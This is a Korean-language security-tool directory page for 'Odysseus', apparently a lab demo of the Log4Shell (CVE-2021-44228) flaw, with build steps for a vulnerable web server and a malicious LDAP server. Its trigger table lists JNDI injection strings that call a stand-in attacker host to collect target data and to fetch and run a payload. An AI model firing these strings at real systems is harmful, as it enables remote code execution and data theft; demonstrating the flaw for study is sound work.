Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Odysseus — Log4Shell(CVE-2021-44228) 취약점의 데모입니다. | Kitploit
도구/GitHubGitHub/roshanshibu/odysseus
Vulnerability AnalysisExploitationWeb Application ExploitationCommand and ControlLearning & EducationPayload Development
GitHubroshanshibu/odysseus

Odysseus

Log4Shell(CVE-2021-44228) 취약점의 데모입니다.

저장소 보기
2년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Odysseus

Log4Shell (CVE-2021-44228) 취약점의 데모입니다.

빌드 지침

취약한 웹 서버와 악성 LDAP 서버는 모두 JDK 1.8.0_181에서 빌드 및 테스트되었습니다.

Good Guys 웹 서버

  1. goodguys 디렉터리에서 gradlew bootJar를 실행합니다.
  2. java -jar build/libs/goodguys-0.0.1-SNAPSHOT.jar 명령으로 취약한 웹 서버를 실행합니다.

Bad Guys LDAP/웹 서버

  1. badguys 디렉터리에서 mvn package를 실행합니다.
  2. java -jar .\target\evil-server.jar 명령으로 악성 서버를 실행합니다.

참고: Windows Defender는 target\classes\Exploit.class를 조용히 격리소로 이동시킬 수 있습니다.

악성 페이로드

악성 명령은 Exploit.java 내부에 정의되어 있습니다.

인젝션 트리거

입력비고
${jndi:ldap://evil-server-hostname:389/Recon}LDAP 서버에 대한 연결 요청을 수신하여 대상이 취약한지 확인합니다.
${jndi:ldap://evil-server-hostname:389/Recon [log4j Pattern Layout(s)]유효한 log4j Pattern Layout을 추가하여 대상의 데이터를 수집하고 공격자 터미널에 표시합니다.
${jndi:ldap://evil-server-hostname:389/Exploit}페이로드를 실행합니다.

참고 자료

https://securityboulevard.com/2019/01/exploiting-jndi-injections-in-java/ https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/PatternLayout.html
https://www.ibm.com/blog/how-to-detect-patch-log4j-vulnerability/

도구 다운로드